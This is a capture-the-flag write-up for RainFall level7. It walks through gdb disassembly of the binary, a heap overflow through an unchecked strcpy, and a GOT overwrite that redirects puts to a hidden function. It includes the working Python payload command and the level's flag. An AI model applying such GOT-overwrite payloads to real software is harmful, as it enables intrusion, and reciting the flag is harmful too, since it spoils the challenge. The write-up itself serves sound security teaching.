[CTF] Global Offset Table (GOT) exploit (rainfall-lvl07)
Table of contents:
This executable is the 8th one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level7@RainFall:~$ gdb ./level7
notes
0x08049960 c : variable
0x080484f4 m : function : not called anywhere
0x08048521 main : function
0x08048529 : main() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
int argc = ebp+8
char **argv = ebp+12
char *mallo_1 = esp+28
char *mallo_2 = esp+24
// 0x44 ... 68
// 0x20 ... 32
// 0x1c ... 28
// 0x18 ... 24
}
<0> -> <+6> : prepare stack frame for n function with size 32
0x08048521 <+0>: push ebp
0x08048522 <+1>: mov ebp,esp
0x08048524 <+3>: and esp,0xfffffff0
0x08048527 <+6>: sub esp,32
<+9> -> <+21> : malloc size 8 from the heap and put the return address in mallo_1
0x0804852a <+9>: mov DWORD PTR [esp],8
0x08048531 <+16>: call 0x80483f0 <malloc@plt>
0x08048536 <+21>: mov DWORD PTR [mallo_1],eax
mallo_1 = malloc(8);
<+25> -> <+29> : set 1 to first case of mallo_1
<+35> -> <+53> : allocated 8 bytes in the heap and put the address to it in mallo_1[1]
0x0804853a <+25>: mov eax,DWORD PTR [mallo_1]
0x0804853e <+29>: mov DWORD PTR [eax],1
mallo_1[0] = 1;
0x08048544 <+35>: mov DWORD PTR [esp],8
0x0804854b <+42>: call 0x80483f0 <malloc@plt>
0x08048550 <+47>: mov edx,eax
0x08048552 <+49>: mov eax,DWORD PTR [mallo_1]
0x08048556 <+53>: mov DWORD PTR [eax+4],edx
mallo_1[1] = malloc(8);
<+56> -> <+68> : malloc size 8 from the heap and put the return address in mallo_2
0x08048559 <+56>: mov DWORD PTR [esp],8
0x08048560 <+63>: call 0x80483f0 <malloc@plt>
0x08048565 <+68>: mov DWORD PTR [mallo_2],eax
mallo_2 = malloc(8);
<+72> -> <+76> : set 1 to first case of mallo_2
<+82> -> <+100> : allocated 8 bytes in the heap and put the address to it in mallo_2[1]
0x08048569 <+72>: mov eax,DWORD PTR [mallo_2]
0x0804856d <+76>: mov DWORD PTR [eax],2
mallo_2[0] = 2;
0x08048573 <+82>: mov DWORD PTR [esp],8
0x0804857a <+89>: call 0x80483f0 <malloc@plt>
0x0804857f <+94>: mov edx,eax
0x08048581 <+96>: mov eax,DWORD PTR [mallo_2]
0x08048585 <+100>: mov DWORD PTR [eax+4],edx
mallo_2[1] = malloc(8);
<+>103 -> <+127> : copy the content from argv[1] to mallo_1[1] with strcpy (no size check)
0x08048588 <+103>: mov eax,DWORD PTR [argv]
0x0804858b <+106>: add eax,4
0x0804858e <+109>: mov eax,DWORD PTR [eax]
0x08048590 <+111>: mov edx,eax // edx = argv[1]
0x08048592 <+113>: mov eax,DWORD PTR [mallo_1]
0x08048596 <+117>: mov eax,DWORD PTR [eax+4]
0x08048599 <+120>: mov DWORD PTR [esp+4],edx
0x0804859d <+124>: mov DWORD PTR [esp],eax
0x080485a0 <+127>: call 0x80483e0 <strcpy@plt>
strcpy(mallo_1[1], argv[1]);
<+132> -> <+156> : copy the content from argv[2] to mallo_2[1] with strcpy (no size check)
0x080485a5 <+132>: mov eax,DWORD PTR [argv]
0x080485a8 <+135>: add eax,8
0x080485ab <+138>: mov eax,DWORD PTR [eax]
0x080485ad <+140>: mov edx,eax // edx = argv[2]
0x080485af <+142>: mov eax,DWORD PTR [mallo_2]
0x080485b3 <+146>: mov eax,DWORD PTR [eax+4]
0x080485b6 <+149>: mov DWORD PTR [esp+4],edx
0x080485ba <+153>: mov DWORD PTR [esp],eax
0x080485bd <+156>: call 0x80483e0 <strcpy@plt>
strcpy(mallo_2[1], argv[2]);
<+161> -> <+175> : read the content from .pass in level8 with fopen
<+183> -> <+202> : copy 65 character from .pass to variable c with fgets
<+207> -> <+214> : print "~~" on the screen with puts()
0x080485c2 <+161>: mov edx,0x80486e9 // "r"
0x080485c7 <+166>: mov eax,0x80486eb // "/home/user/level8/.pass"
0x080485cc <+171>: mov DWORD PTR [esp+4],edx
0x080485d0 <+175>: mov DWORD PTR [esp],eax
0x080485d3 <+178>: call 0x8048430 <fopen@plt>
fopen("/home/user/level8/.pass", "r");
0x080485d8 <+183>: mov DWORD PTR [esp+8],eax
0x080485dc <+187>: mov DWORD PTR [esp+4],68
0x080485e4 <+195>: mov DWORD PTR [esp],0x8049960 // c variable
0x080485eb <+202>: call 0x80483c0 <fgets@plt>
fgets(c, 68, fopen("/home/user/level8/.pass", "r"));
0x080485f0 <+207>: mov DWORD PTR [esp],0x8048703 // "~~"
0x080485f7 <+214>: call 0x8048400 <puts@plt>
puts("~~");
<+192> -> <+198> : exit the program with 0, equivalent to return(0)
0x080485fc <+219>: mov eax,0x0
0x08048601 <+224>: leave
0x08048602 <+225>: ret
return (0);
0x080484f4 : m() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
int argc = ebp+8
char **argv = ebp+12
char *mallo_1 = esp+28
char *mallo_2 = esp+24
// 0x18 ... 24
}
<0> -> <+3> : prepare stack frame for n function with size 24
0x080484f4 <+0>: push ebp
0x080484f5 <+1>: mov ebp,esp
0x080484f7 <+3>: sub esp,24
<6> -> <+38> : print the content of variable c + time
0x080484fa <+6>: mov DWORD PTR [esp],0
0x08048501 <+13>: call 0x80483d0 <time@plt>
0x08048506 <+18>: mov edx,0x80486e0 // "%s - %d\n"
0x0804850b <+23>: mov DWORD PTR [esp+8],eax
0x0804850f <+27>: mov DWORD PTR [esp+4],0x8049960 // c variable
0x08048517 <+35>: mov DWORD PTR [esp],edx
0x0804851a <+38>: call 0x80483b0 <printf@plt>
printf("%s - %d\n", c, time(0));
<43> -> <+44> : exit the m function
0x0804851f <+43>: leave
0x08048520 <+44>: ret
Code Prediction :
let c[68]
function m() {
printf("%s - %d\n", c, time(0));
return
}
function main() {
mOne = malloc(8) // 0x0804a008
mOne[0] = 1
mOne[1] = malloc(8) // 0x0804a018
mTwo = malloc(8) // 0x0804a028
mTwo[0] = 2
mTwo[1] = malloc(8) // 0x0804a038
strcpy(mOne[1], argv[1])
strcpy(mTwo[1], argv[2])
let password = fopen("/home/user/level8/.pass", "r")
fgets(c, 68, password)
puts("~~")
return
}
Stack illustration :
high addresses
+------------------------+ <== ebp + 14 <------+
| av[2]<= *(ebp+12) + 8 | |
| av[1]<= *(ebp+12) + 4 | |
| av[0]<= *(ebp+12) + 0 | |
+------------------------+ <== ebp + 12 |
| argc | | main frame
+------------------------+ <== ebp + 8 |
| eip | |
+------------------------+ <== ebp+4 |
| ebp | |
+------------------------+ <== esp + 32 <------+
| stack alignement | |
+------------------------+ |
| malloc(8) (mOne 1st) | |
| mOne[0] : 1 | |
| mOne[1] : malloc(8) | |
+------------------------+ <== esp + 28 |
| malloc(8) (mTwo 3dt) | |
| mTwo[0] : 2 | |
| mTwo[1] : malloc(8) | |
+------------------------+ <== esp + 24 | n frame 32 bytes
* |
* |
* |
+------------------------+ <== esp + 4 |
| | |
+------------------------+ <== esp <-------+
low addresses
Solution :
by reading the assembly we get the following resume
-
the program takes two params , av1 && av2
-
decalred two variables (m1, m2) with size of 8 and allocating anther size of 8 to the index 1 of each
-
copy av1 to m1[1] using strcpy
-
copy av2 to m2[1] using strcpy
-
strcpy copy whatever in source to destination without checking for size so it vulenrable to buffer overflow
-
lets execute the programm using ltrace to watch what happening :
level7@RainFall:~$ ltrace ./level7 AAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBBB __libc_start_main(0x8048521, 3, 0xbffff794, 0x8048610, 0x8048680 <unfinished ...> malloc(8) = 0x0804a008 malloc(8) = 0x0804a018 malloc(8) = 0x0804a028 malloc(8) = 0x0804a038 strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAA") = 0x0804a018 strcpy(0x0804a038, "BBBBBBBBBBBBBBBBBBBB") = 0x0804a038 fopen("/home/user/level8/.pass", "r"*** glibc detected *** ./level7: free(): invalid next size (normal): 0x0804a048 ***
-
we can see that the heap address in second strcpy is 32 bytes ahead of the first one (
0x0804a038 - 0x0804a018
) -
lets try to fill the first arguments with larger value to see at which length we override the second address in the Heap of the strcpy 2
level7@RainFall:~$ ltrace ./level7 $(python -c 'print "A" * 21') ABCD __libc_start_main(0x8048521, 3, 0xbffff7a4, 0x8048610, 0x8048680 <unfinished ...> malloc(8) = 0x0804a008 malloc(8) = 0x0804a018 malloc(8) = 0x0804a028 malloc(8) = 0x0804a038 strcpy(0x0804a018, "AAAAAAAAAAAAAAAAAAAAA") = 0x0804a018 strcpy(0x08040041, "ABCD" <unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ level7@RainFall:~$
at the length 21 we see that the address of av2[1] got changed in the last 2 bits
the exploit : 1- overwrite the address 0x8049928 (puts jump address) with the m function address that print the variable c final exploit will look like that
strcpy(0x0804a018, "padding")
strcpy("JUMP ADDRESS", "m() address")
so the exploit payload is
level7@RainFall:~$ ./level7 $(python -c 'print "A" * 20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
- 1663318810
level7@RainFall:~$
Flag :
level7@RainFall:~$ ./level7 $(python -c 'print "A" * 20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
- 1663318810
level7@
flag : 5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9